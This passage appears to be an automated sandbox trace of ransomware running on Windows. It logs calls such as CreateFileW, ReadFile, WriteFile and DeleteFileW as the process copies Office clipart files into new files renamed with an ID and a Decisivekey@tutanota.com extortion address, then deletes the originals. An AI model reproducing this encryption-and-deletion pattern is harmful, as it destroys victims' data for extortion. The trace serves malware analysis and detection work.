Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0221.993] lstrlenW (lpString=".doc") returned 4 [0221.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.993] lstrlenW (lpString=".docx") returned 5 [0221.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.993] lstrlenW (lpString=".pdf") returned 4 [0221.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.993] lstrlenW (lpString=".xls") returned 4 [0221.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.993] lstrlenW (lpString=".xlsx") returned 5 [0221.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.993] lstrlenW (lpString=".ppt") returned 4 [0221.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0221.994] lstrlenW (lpString=".zip") returned 4 [0221.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.994] lstrlenW (lpString=".rar") returned 4 [0221.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.994] lstrlenW (lpString=".bz2") returned 4 [0221.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.994] lstrlenW (lpString=".7z") returned 3 [0221.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0221.994] lstrlenW (lpString=".dbf") returned 4 [0221.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0221.994] lstrlenW (lpString=".1cd") returned 4 [0221.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0221.994] lstrlenW (lpString=".jpg") returned 4 [0221.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.994] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=5392) returned 1 [0221.994] CloseHandle (hObject=0x1f8) returned 1 [0221.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20 [0221.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.995] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.995] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0221.995] GetLastError () returned 0x0 [0221.995] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1510, lpOverlapped=0x0) returned 1 [0222.005] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0222.006] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.006] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.006] SetEndOfFile (hFile=0x184) returned 1 [0222.006] CloseHandle (hObject=0x184) returned 1 [0222.006] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.006] SetEndOfFile (hFile=0x1f8) returned 1 [0222.007] CloseHandle (hObject=0x1f8) returned 1 [0222.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0222.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0222.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0222.007] lstrlenW (lpString=".doc") returned 4 [0222.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.007] lstrlenW (lpString=".docx") returned 5 [0222.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.007] lstrlenW (lpString=".pdf") returned 4 [0222.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.007] lstrlenW (lpString=".xls") returned 4 [0222.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.007] lstrlenW (lpString=".xlsx") returned 5 [0222.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.007] lstrlenW (lpString=".ppt") returned 4 [0222.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0222.007] lstrlenW (lpString=".zip") returned 4 [0222.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.007] lstrlenW (lpString=".rar") returned 4 [0222.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.007] lstrlenW (lpString=".bz2") returned 4 [0222.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.008] lstrlenW (lpString=".7z") returned 3 [0222.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0222.008] lstrlenW (lpString=".dbf") returned 4 [0222.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0222.008] lstrlenW (lpString=".1cd") returned 4 [0222.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0222.008] lstrlenW (lpString=".jpg") returned 4 [0222.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.008] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1648) returned 1 [0222.008] CloseHandle (hObject=0x1f8) returned 1 [0222.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20 [0222.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.009] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.009] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.009] GetLastError () returned 0x0 [0222.009] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x670, lpOverlapped=0x0) returned 1 [0222.021] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x680, lpOverlapped=0x0) returned 1 [0222.022] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.022] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.022] SetEndOfFile (hFile=0x184) returned 1 [0222.022] CloseHandle (hObject=0x184) returned 1 [0222.022] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.022] SetEndOfFile (hFile=0x1f8) returned 1 [0222.023] CloseHandle (hObject=0x1f8) returned 1 [0222.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0222.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0222.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0222.023] lstrlenW (lpString=".doc") returned 4 [0222.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.023] lstrlenW (lpString=".docx") returned 5 [0222.023] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.023] lstrlenW (lpString=".pdf") returned 4 [0222.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.023] lstrlenW (lpString=".xls") returned 4 [0222.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.023] lstrlenW (lpString=".xlsx") returned 5 [0222.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.024] lstrlenW (lpString=".ppt") returned 4 [0222.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0222.024] lstrlenW (lpString=".zip") returned 4 [0222.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.024] lstrlenW (lpString=".rar") returned 4 [0222.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.024] lstrlenW (lpString=".bz2") returned 4 [0222.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.024] lstrlenW (lpString=".7z") returned 3 [0222.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0222.024] lstrlenW (lpString=".dbf") returned 4 [0222.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0222.024] lstrlenW (lpString=".1cd") returned 4 [0222.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0222.024] lstrlenW (lpString=".jpg") returned 4 [0222.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.024] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3128) returned 1 [0222.024] CloseHandle (hObject=0x1f8) returned 1 [0222.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20 [0222.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.025] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.025] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.025] GetLastError () returned 0x0 [0222.025] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xc38, lpOverlapped=0x0) returned 1 [0222.038] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xc40, lpOverlapped=0x0) returned 1 [0222.038] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.038] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.039] SetEndOfFile (hFile=0x184) returned 1 [0222.039] CloseHandle (hObject=0x184) returned 1 [0222.039] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.039] SetEndOfFile (hFile=0x1f8) returned 1 [0222.039] CloseHandle (hObject=0x1f8) returned 1 [0222.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0222.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0222.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0222.040] lstrlenW (lpString=".doc") returned 4 [0222.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.040] lstrlenW (lpString=".docx") returned 5 [0222.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.040] lstrlenW (lpString=".pdf") returned 4 [0222.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.040] lstrlenW (lpString=".xls") returned 4 [0222.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.040] lstrlenW (lpString=".xlsx") returned 5 [0222.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.040] lstrlenW (lpString=".ppt") returned 4 [0222.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0222.040] lstrlenW (lpString=".zip") returned 4 [0222.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.040] lstrlenW (lpString=".rar") returned 4 [0222.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.040] lstrlenW (lpString=".bz2") returned 4 [0222.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.040] lstrlenW (lpString=".7z") returned 3 [0222.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0222.040] lstrlenW (lpString=".dbf") returned 4 [0222.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0222.040] lstrlenW (lpString=".1cd") returned 4 [0222.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0222.040] lstrlenW (lpString=".jpg") returned 4 [0222.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.041] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3764) returned 1 [0222.041] CloseHandle (hObject=0x1f8) returned 1 [0222.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0222.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.041] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.041] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.042] GetLastError () returned 0x0 [0222.042] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xeb4, lpOverlapped=0x0) returned 1 [0222.060] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0222.060] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.060] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.061] SetEndOfFile (hFile=0x184) returned 1 [0222.061] CloseHandle (hObject=0x184) returned 1 [0222.061] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.061] SetEndOfFile (hFile=0x1f8) returned 1 [0222.061] CloseHandle (hObject=0x1f8) returned 1 [0222.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0222.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0222.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0222.062] lstrlenW (lpString=".doc") returned 4 [0222.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.062] lstrlenW (lpString=".docx") returned 5 [0222.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.062] lstrlenW (lpString=".pdf") returned 4 [0222.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.062] lstrlenW (lpString=".xls") returned 4 [0222.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.062] lstrlenW (lpString=".xlsx") returned 5 [0222.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.062] lstrlenW (lpString=".ppt") returned 4 [0222.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0222.062] lstrlenW (lpString=".zip") returned 4 [0222.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.062] lstrlenW (lpString=".rar") returned 4 [0222.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.062] lstrlenW (lpString=".bz2") returned 4 [0222.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.062] lstrlenW (lpString=".7z") returned 3 [0222.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0222.062] lstrlenW (lpString=".dbf") returned 4 [0222.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0222.062] lstrlenW (lpString=".1cd") returned 4 [0222.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0222.062] lstrlenW (lpString=".jpg") returned 4 [0222.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.063] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1960) returned 1 [0222.063] CloseHandle (hObject=0x1f8) returned 1 [0222.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0222.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.063] 